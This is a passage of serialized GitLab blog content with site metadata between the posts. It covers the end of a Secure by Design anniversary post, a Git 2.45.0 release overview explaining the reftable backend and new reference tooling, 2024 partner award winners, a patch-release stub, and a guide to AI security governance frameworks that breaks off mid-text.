SBOMs\n\nGitLab’s dynamic [software bill of materials](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) focus improved SBOM generation while adding third-party SBOM intake capabilities. This also led to the ability to combine SBOMs, as well as to provide full attestation for standardized SBOM artifacts. Enhancements such as cross-project dependency visibility as well as dependency graphs enabled a better view of SBOM risk at scale. Continuous vulnerability scanning for SBOMs was also added during the past year, providing continuous insights for emergent risks for projects that are not under continuous development – no CI/CD pipeline required.\n\n### Vulnerability management\n\nNotable improvements can be seen in vulnerability management as GitLab product updates increased visibility to vulnerabilities at scale, added flexibility to [filtering](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/#group-vulnerabilities), and added [remediation detail](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-dismissal-reasons) options. With [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features, AI-assisted vulnerability remediation is taking a dramatic step forward.\n\n### AI-powered workflows\n\nSpeaking of AI, we deployed many [GitLab Duo features](https://about.gitlab.com/gitlab-duo/#features) during the past year that can help expedite Secure by Design execution, including:\n\n1. Code Suggestions - Use natural language processing to generate new code.\n2. Code Explanation - Discover what that uncommented code does in order to  properly maintain code bases and provide contextually aware product updates.\n3. Code Refactoring - Refactor legacy code bases into new libraries, functions, or memory-safe languages.\n4. Vulnerability Explanation - Understand the impact of a vulnerability and why it is creating risk to enable more accurate and thorough remediation.\n5. Vulnerability Resolution - Automatically resolve vulnerabilities to save significant amounts of time.\n6. Root Cause Analysis - Determine the root cause for a pipeline failure and failed CI/CD build.\n\n### Radical transparency\n\nGitLab continues to embrace its Transparency value by creating the [GitLab Trust Center](https://trust.gitlab.com/) and the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/). These public-facing pages provide radical transparency to GitLab's values, ethics, feature details, and compliance statements – including a [NIST Secure Software Development Framework](https://csrc.nist.gov/projects/ssdf) self-attestation letter.\n\n## What's next?\n\nAs Secure by Design enters its second year, we look forward to additional guidance and initiatives from CISA and other government agencies that will provide users around the world with more securely developed software.\n\n> Want to test-drive GitLab's security features? [Try GitLab Ultimate for free for 30 days](https://about.gitlab.com/free-trial/devsecops/).",[674,479,943,6141,185],{"slug":6162,"featured":92,"template":678},"happy-birthday-secure-by-design","content:en-us:blog:happy-birthday-secure-by-design.yml","Happy Birthday Secure By Design","en-us/blog/happy-birthday-secure-by-design.yml","en-us/blog/happy-birthday-secure-by-design",{"_path":6168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6169,"content":6174,"config":6178,"_id":6180,"_type":16,"title":6181,"_source":17,"_file":6182,"_stem":6183,"_extension":20},"/en-us/blog/whats-new-in-git-2-45-0",{"title":6170,"description":6171,"ogTitle":6170,"ogDescription":6171,"noIndex":6,"ogImage":3451,"ogUrl":6172,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6172,"schema":6173},"What’s new in Git 2.45.0?","Here are some highlights of contributions from GitLab's Git team and the wider Git community to the latest Git release, including reftables and better tooling for references.\n","https://about.gitlab.com/blog/whats-new-in-git-2-45-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s new in Git 2.45.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-04-30\",\n      }",{"title":6170,"description":6171,"authors":6175,"heroImage":3451,"date":6158,"body":6176,"category":813,"tags":6177},[1817],"The Git project recently released [Git Version 2.45.0](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/). Let's look at the highlights of this release, which includes contributions from GitLab's Git team and the wider Git community.\n\n## Reftables: A new backend for storing references\n\nEvery Git repository needs to track two basic data structures:\n- The object graph that stores the data of your files, the directory structure, commit messages, and tags.\n- References that are pointers into that object graph to associate specific objects with a more accessible name. For example, a branch is a reference whose name starts with a `refs/heads/` prefix.\n\nThe on-disk format of how references are stored in a repository has remained largely unchanged since Git’s inception and is referred to as  the \"files\" format. Whenever you create a reference, Git creates a so-called \"loose reference\" that is a plain file in your Git repository whose path matches the ref name. For example:\n\n```shell\n$ git init .\nInitialized empty Git repository in /tmp/repo/.git/\n\n# Updating a reference will cause Git to create a \"loose ref\". This loose ref is\n# a simple file which contains the object ID of the commit.\n$ git commit --allow-empty --message \"Initial commit\"\n[main (root-commit) c70f266] Initial commit\n$ cat .git/refs/heads/main\nc70f26689975782739ef9666af079535b12b5946\n\n# Creating a second reference will end up with a second loose ref.\n$ git branch feature\n$ cat .git/refs/heads/feature\nc70f26689975782739ef9666af079535b12b5946\n$ tree .git/refs\n.git/refs/\n├── heads\n│   ├── feature\n│   └── main\n└── tags\n\n3 directories, 2 files\n```\n\nEvery once in a while, Git packs those references into a \"packed\"\nfile format so that it becomes more efficient to look up references. For example:\n\n```shell\n# Packing references will create \"packed\" references, which are a sorted list of\n# references. The loose reference does not exist anymore.\n$ git pack-refs --all\n$ cat .git/refs/heads/main\ncat: .git/refs/heads/main: No such file or directory\n$ cat .git/packed-refs\n# pack-refs with: peeled fully-peeled sorted\nc70f26689975782739ef9666af079535b12b5946 refs/heads/feature\nc70f26689975782739ef9666af079535b12b5946 refs/heads/main\n```\n\nWhile this format is rather simple, it has limitations:\n- In large mono repos with many references, we started to hit scalability issues. Deleting references is especially inefficient because the entire “packed-refs” file must be rewritten to drop the deleted reference. In our largest repositories, this can lead to rewriting multiple gigabytes of data on every reference deletion.\n- It is impossible to perform an atomic read of references without blocking concurrent writers because you have to read multiple files to figure out all references.\n- It is impossible to perform an atomic write because it requires you to create or update multiple files, which cannot be done in a single step.\n- Housekeeping of references does not scale well because you have to rewrite the full \"packed-refs\" file.\n- Because loose references use the filesystem path as their name, they are subject to filesystem-specific behavior. For example, case-insensitive file systems cannot store references for which only the case differs.\n\nTo address these issues, Git v2.45.0 introduces a new \"reftable\" backend, which uses a new binary format to store references. This new backend has been in development for a very long time. It was initially proposed by [Shawn Pearce](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/) in July 2017 and was initially implemented in [JGit](https://www.eclipse.org/jgit/). It is used extensively by the [Gerrit project](https://www.gerritcodereview.com/). In 2021, [Han-Wen Nienhuys](https://hanwen.home.xs4all.nl/) upstreamed the library into Git that allows it to read and write the [reftable format](https://git-scm.com/docs/reftable).\n\nThe new \"reftable\" backend that we upstreamed in Git v2.45.0 now finally brings together the reftable library and Git such that it is possible to use the new format as storage backend in your Git repositories.\n\nAssuming that you run at least Git v2.45.0, you can create new repositories with the \"reftable\" format by passing the `--ref-format=reftable` switch to either `git-init(1)` or `git-clone(1)`. For example:\n\n```shell\n$ git init --ref-format=reftable .\nInitialized empty Git repository in /tmp/repo/.git/\n$ git rev-parse --show-ref-format\nreftable\n$ find -type f .git/reftable/\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n.git/reftable/tables.list\n\n$ git commit --allow-empty --message \"Initial commit\"\n$ find -type f .git/reftable/\n.git/reftable/0x000000000001-0x000000000001-01b5e47d.ref\n.git/reftable/0x000000000002-0x000000000002-87006b81.ref\n.git/reftable/tables.list\n```\n\nAs you can see, the references are now stored in `.git/reftable` instead of in the `.git/refs` directory. The references and the reference logs are stored in “tables,” which are the files ending with `.ref`, whereas the `tables.list` file contains the list of all tables that are currently active. The technical details of how this work will be explained in a separate blog post. Stay tuned!\n\nThe “reftable” backend is supposed to be a  drop-in replacement for the “files” backend. Hence, from a user’s perspective, everything should just work the same.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab). Credit also goes to Shawn Pearce as original inventor of the format and Han-Wen Nienhuys as the author of the reftable library.\n\n## Better tooling for references\n\nWhile the \"reftable\" format solves many of the issues we have, it also\nintroduces some new issues. One of the most important issues is accessibility of the data it contains.\n\nWith the \"files\" backend, you can, in the worst case, use your regular Unix tools to inspect the state of references. Both the \"packed\" and the \"loose\" references contain human-readable data that one can easily make sense of. This is different with the \"reftable\" format, which is a binary format. Therefore, Git needs to provide all the necessary tooling to extract data from the new \"reftable\" format.\n\n### Listing all references\n\nThe first problem we had is that it is basically impossible to learn about all the references that a repository knows about. This is somewhat puzzling at first: you can create and modify references via Git, but it cannot exhaustively list all references that it knows about?\n\nIndeed, the \"files\" backend can't. While it can trivially list all \"normal\"\nreferences that start with the `refs/` prefix, Git also uses so-called\n[pseudo refs](https://git-scm.com/docs/gitglossary#Documentation/gitglossary.txt-aiddefpseudorefapseudoref). These files live directly in the root of the Git directory and would be files like, for example, `.git/MERGE_HEAD`. The problem here is that those pseudo refs live next to other files that Git stores like, for example, `.git/config`.\n\nWhile some pseudo refs are well-known and thus easy to identify, there is\nin theory no limit to what references Git can write. Nothing stops you from\ncreating a reference called \"foobar\".\n\nFor example:\n\n```shell\n$ git update-ref foobar HEAD\n$ cat .git/foobar\nf32633d4d7da32ccc3827e90ecdc10570927c77d\n```\n\nNow the problem that the \"files\" backend has is that it can only enumerate\nreferences by scanning through directories. So to figure out that\n`.git/foobar` is in fact a reference, Git would have to open the file and check whether it is formatted like a reference or not.\n\nOn the other hand, the \"reftable\" backend trivially knows about all references that it contains: They are encoded in its data structures, so all it needs to do is to decode those references and return them. But because of the restrictions of the \"files\" backend, there is no tooling that would allow you to learn about all references that exist.\n\nTo address the issue, we upstreamed a new flag to `git-for-each-ref(1)` called `--include-root-refs`, which will cause it to also list all references that exist in the root of the reference naming hierarchy. For example:\n\n```shell\n$ git for-each-ref --include-root-refs\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    HEAD\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    MERGE_HEAD\nf32633d4d7da32ccc3827e90ecdc10570927c77d commit    refs/heads/main\n```\n\nFor the \"files\" backend, this new flag is handled on a best-effort basis where we include all references that match a known pseudo ref name. For the \"reftable\" backend, we can simply list all references known to it.\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n### Listing all reflogs\n\nWhenever you update branches, Git, by default, tracks those branch updates in a so-called reflog. This reflog allows you to roll back changes to that branch in case you performed an unintended change and can thus be a very helpful tool.\n\nWith the \"files\" backend, those logs are stored in your `.git/logs` directory:\n\n```shell\n$ find -type f .git/logs/\n.git/logs/HEAD\n.git/logs/refs/heads/main\n```\n\nIn fact, listing files in this directory is the only way for you to learn what references actually have a reflog in the first place. This is a problem for the \"reftable\" backend, which stores those logs together with the references. Consequently, there doesn't exist any way for you to learn about which reflogs exist in the repository at all anymore when you use the \"reftable\" format.\n\nThis is not really the fault of the \"reftable\" format though, but an omission in the tooling that Git provides. To address the omission, we introduced a new `list` subcommand for `git-reflog(1)` that allows you to list all existing reflogs:\n\n```shell\n$ git reflog list\nHEAD\nrefs/heads/main\n```\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n### More efficient packing of references\n\nTo stay efficient, Git repositories need regular maintenance. Usually,\nthis maintenance is triggered by various Git commands that write data into the Git repositories by executing `git maintenance run --auto`. This command \nonly optimizes data structures that actually need to be optimized so that Git doesn’t waste compute resources.\n\nOne data structure that gets optimized by Git's maintenance is the reference\ndatabase, which is done by executing `git pack-refs --all`. For the \"files\"\nbackend, this means that all references get repacked into the \"packed-refs\" file and the loose references get deleted, whereas for the \"reftable\" backend all the tables will get merged into a single table.\n\nFor the \"files\" backend, we cannot reasonably do much better. Given that we have to rewrite the whole \"packed-refs\" file anyway, it makes sense that we would want to pack _all_ loose references.\n\nBut for the \"reftable\" backend this is suboptimal as the \"reftable\" backend is self-optimizing. Whenever Git appends a new table to the \"reftable\" backend, it will perform auto-compaction and merge tables together as needed. Consequently, the reference database should always be in a well-optimized state and thus merging all tables together is a wasted effort.\n\nIn Git v2.45.0, we thus introduced a new `git pack-refs --auto` mode, which asks the reference backend to optimize on an as-needed basis. While the \"files\" backend continues to work the same even with the `--auto` flag set, the \"reftable\" backend will use the same heuristics as it already uses for its auto-compaction. In practice, this should be a no-op in most cases.\n\nFurthermore, `git maintenance run --auto` has been adapted to pass the `-tauto` flag to `git-pack-refs(1)` to make use of this new mode by default.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Read more\n\nThis blog post put a heavy focus on the new \"reftable\" backend, which allows us to scale better in large repositories with many references, as well as related tooling that we have introduced alongside it to make it work well. There, of course, have been various performance improvements, bug fixes and smaller features introduced with this Git release by the wider Git community, as well. You can learn about these from the [official release announcement](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/) of the Git project.\n\n## GitLab's previous Git release contributions\n* [GitLab's contributions to Git 2.44.0](https://about.gitlab.com/blog/gitlabs-contributions-to-git-2-44-0/)\n* [GitLab's contributions to Git 2.43.0](https://about.gitlab.com/blog/the-contributions-we-made-to-the-git-2-43-release/)\n* [GitLab's contributions to Git 2.42.0](https://about.gitlab.com/blog/contributions-to-git-2-42-release/)\n* [GitLab's contributions to Git 2.41.0](https://about.gitlab.com/blog/contributions-to-latest-git-release/)\n",[1067,267],{"slug":6179,"featured":6,"template":678},"whats-new-in-git-2-45-0","content:en-us:blog:whats-new-in-git-2-45-0.yml","Whats New In Git 2 45 0","en-us/blog/whats-new-in-git-2-45-0.yml","en-us/blog/whats-new-in-git-2-45-0",{"_path":6185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6186,"content":6192,"config":6198,"_id":6200,"_type":16,"title":6201,"_source":17,"_file":6202,"_stem":6203,"_extension":20},"/en-us/blog/meet-the-2024-gitlab-partner-of-the-year-award-winners",{"title":6187,"description":6188,"ogTitle":6187,"ogDescription":6188,"noIndex":6,"ogImage":6189,"ogUrl":6190,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6190,"schema":6191},"Meet the 2024 GitLab Partner of the Year award winners","Find out who was recognized across our channel, technology, and cloud partners for their collaboration and contributions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099196/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_3Ap5GS9mcSfiVI0dAVDRHg_1750099195945.png","https://about.gitlab.com/blog/meet-the-2024-gitlab-partner-of-the-year-award-winners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the 2024 GitLab Partner of the Year award winners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Weber\"}],\n        \"datePublished\": \"2024-04-25\",\n      }",{"title":6187,"description":6188,"authors":6193,"heroImage":6189,"date":6195,"body":6196,"category":736,"tags":6197},[6194],"Chris Weber","2024-04-25","[GitLab’s Partner Program](https://partners.gitlab.com/) fosters a thriving partner ecosystem of DevSecOps expertise to enable innovation through software development and drive customer value.  \n\nEarlier this month, we gathered our channel, technology, and cloud partners from across the globe to celebrate their achievements, empower their success, and provide resources and support for the year to come.\n\nWe recognized our partners for their contributions with awards highlighting our emerging, services, distributor, and public sector partners in AMER, APJ, and EMEA. Each award winner demonstrated a strong partnership with GitLab and focused on delivering excellent outcomes to our customers.\n\nHere are our 2024 GitLab Partner of the Year award winners by region.\n\n## AMER\n\n### Emerging Partner of the Year: [SADA, an Insight company](https://sada.com/)\nSADA, an Insight company, is a global cloud consulting and professional services market leader providing solutions powered by Google Cloud.\n\n### Services Partner of the Year: [CDW](https://www.cdw.com/)\nCDW offers customized, tailored solutions across cloud solutions, cybersecurity, and managed services for industries across government, education, and healthcare. \n\n### Partner of the Year: [Stratascale/SHI](https://www.stratascale.com/)\nStratascale, a subsidiary of SHI International, brings a consultancy-first approach to helping customers rapidly adapt to business changes by delivering end-to-end support of the transformation process.\n\n## APJ\n### Emerging Partner of the Year: [Fineshift](https://fineshift.com/)\nFineshift empowers organizations in APAC to deliver secure software more efficiently by enhancing their software development processes with unified DevSecOps workflows. \n\n### Services Partner of the Year: [Adfinis](https://adfinis.com/en/)\nAdfinis delivers innovative and tailored IT solutions to customers ranging from small businesses to large enterprises, leveraging open-source technologies to achieve their goals. \n\n### Distributor of the Year: [TD Synnex](https://www.tdsynnex.com/na/us/)\nTD Synnex connects vendors and resellers with customers across APAC to deliver critical IT solutions that drive operational efficiencies. \n\n### Partner of the Year: [DevOps1](https://devops1.com.au/)\nDevOps1 assists customers in their application modernization journeys to increase agility, improve time to market, and enhance business value. \n\n## EMEA\n### Emerging Partner of the Year: [Kiratech](https://www.kiratech.it/en/)\nKiratech enables businesses to onboard new technologies, improve efficiency, and drive innovation with its expert counsel on cloud-native solutions and DevOps methodologies.  \n\n### Services Partner of the Year: Name: [cc Cloud GmbH](http://www.codecentric.cloud/)\ncc Cloud supports organizations from consulting through to managed services to support their digitalization journey and transformation.\n\n### Distributor of the Year: [Amazic](https://amazic.com/)\nAmazic enables its customers to modernize their IT infrastructure with the help of DevOps methodologies and cloud computing. \n\n### Partner of the Year: [SVA](https://www.svasoftware.com/)\nSVA provides customers with comprehensive, tailored IT solutions such as cloud computing, cybersecurity, and software development. \n\n## Public Sector\n\n### Services Partner of the Year: [Sirius Federal](https://www.cdw.com/content/cdw/en/industries/federal-it-solutions.html)\nSirius Federal, a CDW Company, helps customers design, orchestrate, and manage technologies that drive business and government agency success.\n\n### Emerging Partner of the Year: [Thundercat Technologies](https://www.thundercattech.com/)\nThunderCat Technology works closely with public sector agencies to deliver comprehensive solutions across cloud computing, cybersecurity, and modernization that meet the unique needs of government IT. \n\n### Distributor of the Year: [Carahsoft](https://www.carahsoft.com/)\nCarahsoft is a public sector IT solutions provider, supporting federal, state, and local government agencies as well as education and healthcare organizations.\n\n### Partner of the Year: [Flywheel Data](https://flywheeldata.com/)\nFlywheel Data is a value-added reseller that provides clients with the right tools, products, and technologies to accelerate mission success.\n\n> Learn more about [GitLab’s Partner Program](https://partners.gitlab.com/).\n",[736,282],{"slug":6199,"featured":6,"template":678},"meet-the-2024-gitlab-partner-of-the-year-award-winners","content:en-us:blog:meet-the-2024-gitlab-partner-of-the-year-award-winners.yml","Meet The 2024 Gitlab Partner Of The Year Award Winners","en-us/blog/meet-the-2024-gitlab-partner-of-the-year-award-winners.yml","en-us/blog/meet-the-2024-gitlab-partner-of-the-year-award-winners",{"_path":6205,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6206,"content":6212,"config":6217,"_id":6220,"_type":16,"title":6221,"_source":17,"_file":6222,"_stem":6223,"_extension":20},"/en-us/blog/gitlab-patch-release-16-11-1-16-10-4-16-9-6",{"title":6207,"description":6208,"ogTitle":6207,"ogDescription":6208,"config":6209,"ogImage":3431,"ogUrl":6210,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6210,"schema":6211},"GitLab Patch Release: 16.11.1, 16.10.4, 16.9.6","Learn more about GitLab Patch Release: 16.11.1, 16.10.4, 16.9.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-16-11-1-16-10-4-16-9-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 16.11.1, 16.10.4, 16.9.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2024-04-24\",\n      }",{"title":6207,"description":6208,"authors":6213,"heroImage":3431,"date":6214,"body":6215,"category":962,"tags":6216},[1162],"2024-04-24","This is the post for [GitLab Patch Release: 16.11.1, 16.10.4, 16.9.6](https://about.gitlab.com/releases/2024/04/24/patch-release-gitlab-16-11-1-released/).",[716,774,1464],{"slug":6218,"featured":6,"template":678,"externalUrl":6219},"gitlab-patch-release-16-11-1-16-10-4-16-9-6","https://about.gitlab.com/releases/2024/04/24/patch-release-gitlab-16-11-1-released/","content:en-us:blog:gitlab-patch-release-16-11-1-16-10-4-16-9-6.yml","Gitlab Patch Release 16 11 1 16 10 4 16 9 6","en-us/blog/gitlab-patch-release-16-11-1-16-10-4-16-9-6.yml","en-us/blog/gitlab-patch-release-16-11-1-16-10-4-16-9-6",{"_path":6225,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6226,"content":6231,"config":6236,"_id":6238,"_type":16,"title":6239,"_source":17,"_file":6240,"_stem":6241,"_extension":20},"/en-us/blog/a-developers-guide-to-building-an-ai-security-governance-framework",{"title":6227,"description":6228,"ogTitle":6227,"ogDescription":6228,"noIndex":6,"ogImage":2735,"ogUrl":6229,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6229,"schema":6230},"A developer's guide to building an AI security governance framework","Learn the strategies and practices to adopt for secure and responsible development and use of AI.","https://about.gitlab.com/blog/a-developers-guide-to-building-an-ai-security-governance-framework","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A developer's guide to building an AI security governance framework\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ayoub Fandi\"}],\n        \"datePublished\": \"2024-04-23\",\n      }",{"title":6227,"description":6228,"authors":6232,"heroImage":2735,"date":6233,"body":6234,"category":791,"tags":6235},[2306],"2024-04-23","Artificial Intelligence (AI) has firmly established itself as a pillar of digital transformation, disrupting industries, increasing efficiency, and providing unmatched access to large data sets. AI also raises profound questions regarding security governance. How do I ensure I can leverage the best of what AI has to offer while mitigating its potential security risks? As [AI continues to advance](https://about.gitlab.com/topics/devops/the-role-of-ai-in-devops/), there is a growing need for strong oversight and accountability. This article delves into the complex landscape of AI security governance, exploring various frameworks, strategies, and practices that organizations like GitLab are adopting to ensure the responsible development of AI technologies and features.\n\n## Greater scrutiny on AI\n\n### AI: Single term, numerous realities\nAI isn't a monolithic entity - it encompasses a spectrum of technologies and applications. From machine learning algorithms that power recommendation systems to advanced natural language processing models like Anthropic’s Claude 3, each AI system brings its unique set of opportunities and challenges.\n\nAccording to [a 2023 MITRE report](https://www.mitre.org/sites/default/files/2023-06/PR-23-1943-A-Sensible-Regulatory-Framework-For-AI-Security_0.pdf), three main areas of AI currently exist:\n\n1. **AI as a subsystem**\n\n\u003Cp>\u003C/p>\u003Ci>\"AI is embedded in many software systems. Discrete AI models routinely perform machine perception and optimization functions, from face recognition in photos uploaded to the cloud, to dynamically allocating and optimizing network resources in 5G wireless networks.\n  \u003Cp>\u003C/p>\n\"There are a wide range of vulnerabilities and threats against these types of AI subsystems – from data poisoning attacks to adversarial input attacks – that can be used to manipulate subsystems.\"\u003C/i>\u003Cp>\u003C/p>\n\n2. **AI as human augmentation**\n\u003Cp>\u003C/p>\u003Ci>\"Another application of AI is in augmenting human performance, allowing a person to operate with much larger scope and scale. This has wide-ranging implications for workforce planning as AI has the potential to increase productivity and shift the composition of labor markets, similar to the role of automation in the manufacturing industry. \n  \u003Cp>\u003C/p>\n\"While sophisticated hackers and military information operations can already generate believable content today using techniques such as computer-generated imagery, LLMs will make that capability available to anyone, while increasing the scope and scale at which the professionals can operate.\"\u003C/i>\u003Cp>\u003C/p>\n\n3. **AI with agency**\n\u003Cp>\u003C/p>\u003Ci>\"A segment of the tech community is increasingly concerned about scenarios where sophisticated AI could operate as an independent, goal-seeking agent. While science fiction historically embodied this AI in anthropomorphic robots, the AI we have today is principally confined to digital and virtual domains.\n\u003Cp>\u003C/p>\n\"One scenario is an AI model given a specific adversarial agenda. Stuxnet is perhaps an early example of sophisticated, AI-fueled, goal-seeking malware with an arsenal of zero-day attacks that ended up escaping onto the internet.\"\u003C/i>\u003Cp>\u003C/p>\n\nYou can focus your efforts in terms of security governance based on which areas your company is looking to adopt and the expected business benefits.\u003Cp>\u003C/p>\n\n### Frameworks for AI security governance\nFor effective AI security governance, we must navigate the complex landscape of guidelines and principles developed by various organizations.\n\nGovernments, international organizations, and tech companies have all played their part in shaping AI security governance frameworks. You can review the frameworks below and choose those that are relevant and/or apply to your organization:\n\n- [NIST AI Risk Management Framework (AI RMF)](https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf)\n- [Google’s Security Artificial Intelligence Framework](https://services.google.com/fh/files/blogs/google_secure_ai_framework_approach.pdf)\n- [OWASP Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_0.pdf)\n- [The UK’s NCSC Principles for the Security of Machine Learning](https://www.ncsc.gov.uk/files/Principles-for-the-security-of-machine-learning.pdf)\n\nWhile these frameworks provide valuable guidance, they also introduce complexity. Organizations must determine which apply to their AI usage and how they align to their practices. Moreover, the dynamic nature of AI requires continuous adaptation to stay secure.\n\nSomething to note is that if you read through these frameworks, you’ll notice that numerous controls overlap with standard security best practices. This isn’t a coincidence. A strong overall security program is a prerequisite for proper AI security governance.\n\n## How-to: AI security governance\n### The why and the what\nAI security governance starts with understanding what AI technologies your organization is using or developing, why you are using them, and where these technologies fit into your operations. It's essential to define clear objectives and identify potential security risks associated with AI deployment. This introspection lays the foundation for effective AI security governance.\n\n#### The why\n\nUnderstanding the \"why\" behind each AI application is pivotal to build effective security governance. Each AI system deployed has to serve a specific purpose. Is AI being utilized to enhance customer experiences, automate manual tasks, or support the decision-making process? \n\nBy uncovering the motivations driving AI initiatives, organizations can align these projects with their broader business objectives. This alignment ensures that AI investments are strategically focused, delivering value in line with organizational goals. It also aids in prioritizing AI systems that have a more significant impact on the core mission of the company.\n\n#### The what\nIn the realm of AI security governance, the foundational step is conducting a comprehensive inventory of all AI systems, algorithms, and data sources within your organization. This includes meticulously cataloging all AI technologies in use, ranging from machine learning models and natural language processing algorithms to computer vision systems. This would also involve identifying the data sources feeding these AI systems, and their origins (internal databases, customer interactions, or third-party data providers). Such an inventory provides three main benefits: \n- to gain a holistic understanding of the AI ecosystem within the organization \n- to establish a strong basis for monitoring, auditing, and managing these assets effectively\n- to focus security efforts on the high-risk/critical areas\n\n### How to develop a security risk management program\nA robust security risk management program is at the core of responsible AI security governance. The critical building blocks for this program are the what and the why we discussed earlier. \n\nSpecificities of AI make security risk management more complex. In the NIST AI RMF mentioned earlier, numerous challenges are highlighted, including:\n\n- Difficult to measure AI-related security risks\n    - Potential security risks could emerge from the AI model, the software on which you are training the model, or the data ingested by the model. Different stages of the AI lifecycle might also trigger specific security risks depending on which actors (producers, developers, or consumers) are leveraging the AI solution.\n- Risk tolerance threshold might be complex to determine \n    - As the potential security risks aren’t easily identifiable, determining the risk tolerance your organization can withstand regarding AI can be a very empirical exercise.\n- Not considering AI in isolation \n    - Security governance of AI systems should be part of your security risk management strategy. Different users might have different parts of the overall picture. Ensuring you have complete information and full visibility into the AI lifecycle is critical to making the best decisions.\n\nSecurity risk management should be an ongoing process, adapting to the quickly evolving AI landscape. Reassessing the program, reviewing assumptions regarding the environment and involving additional business stakeholders are activities that should be happening on a regular basis.\n\n## AI security governance and the GitLab DevSecOps platform\n### Using AI to power DevSecOps \nLet’s take [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI capabilities to help power DevSecOps workflows, as an example. [GitLab Duo Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) helps developers write code more efficiently by using generative AI to assist in software engineering tasks. It works either through code completion or through code generation using natural language code comment blocks.\n\nTo ensure it can be fully leveraged, security needs of potential users and customers have to be considered. As an example, data used to produce Code Suggestions is immediately discarded by the AI models. \n\nAll of GitLab’s AI providers are subject to contractual terms with GitLab that prohibit the use of customer content for the provider’s own purposes, except to perform their independent legal obligations. [GitLab’s own privacy policy](https://about.gitlab.com/privacy/) prevents us from using customer data to train models without customer consent. \n\nOf course, to fully benefit from Code Suggestions, you should:\n- understand and review all suggestions to see if they align with your development guidelines\n- limit providing sensitive information or proprietary code in prompts \nensure the suggestion follows the same secure coding guidelines your company has\n- review the code using automated scanning for vulnerable dependencies, input validation and output sanitization, as well as license checks\n\n### Securing AI\nManaging the output of AI systems is equally important as managing the input. Security scanning tools can help identify vulnerabilities and potential threats in AI-generated code. \n\nManaging AI output requires a systematic approach to code review and validation. Organizations should [integrate security scanning tools into their CI/CD pipelines](https://docs.gitlab.com/ee/user/application_security/), ensuring that AI-generated code is checked for security vulnerabilities before deployment. Automated security checks can help detect vulnerabilities early in the development process, reducing the risk of potential vulnerable code stemming from suggested code blocks being merged.\n\nFor any GitLab Duo generated code, changes are managed via merge requests which trigger your CI pipeline (including any security and code quality scanning you have configured). This ensures any governance rules you have set up for your merge requests like required approvals are enforced.\n\nAI systems are systems. Existing security controls apply to AI systems the same way they would apply to the rest of your environment. Common security controls around application security still apply, including [security reviews](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/data_usage.html), security scanning, [threat modeling](https://danielmiessler.com/p/athi-an-ai-threat-modeling-framework-for-policymakers), encryption, etc. The [Google Secure AI Framework](https://services.google.com/fh/files/blogs/google_secure_ai_framework_approach.pdf) highlights these six elements:\n- expand strong security foundations to the AI ecosystem\n- extend detection and response to bring AI into an organization’s threat universe\n- automate defenses to keep pace with existing and new threats\n- harmonize platform-level controls to ensure consistent security across the organization\n- adapt controls to adjust mitigations and create faster feedback loops for AI deployment\n- contextualize AI system risks in surrounding business processes\n\nIf you have a strong security program, managing AI will be an extension of your current program and account for specific risks and vulnerabilities.\n\n## How GitLab Duo is secured\nGitLab recognizes the significance of security in AI governance. Our very strong security program is focused on ensuring our customers can fully leverage [GitLab Duo](https://docs.gitlab.com/ee/user/ai_features.html) in a secure manner. This is how the security departments are collaborating to secure GitLab’s AI features GitLab:\n- **Security Assurance:** Seeks to address our compliance requirements regarding security, that AI security risks are identified and properly managed, and that our customers understand how we secure our application, infrastructure, and services.\n\n- **Security Operations:** Monitors our infrastructure and quickly responds to threats using a team of skilled engineers as well as automation capabilities, helping to ensure AI features aren’t abused or used in a malevolent manner.\n\n- **Product Security:** Helps the product and engineering teams by providing security expertise for our AI features and helping to secure the underlying infrastructure on which our product is hosted.\n\n- **Corporate Security and IT Operations:** Finds potential vulnerabilities in our product to proactively mitigate and support other departments by performing research on relevant security areas.\n\nOur Security team works closely with GitLab's Legal and Corporate Affairs team to ensure our framework for 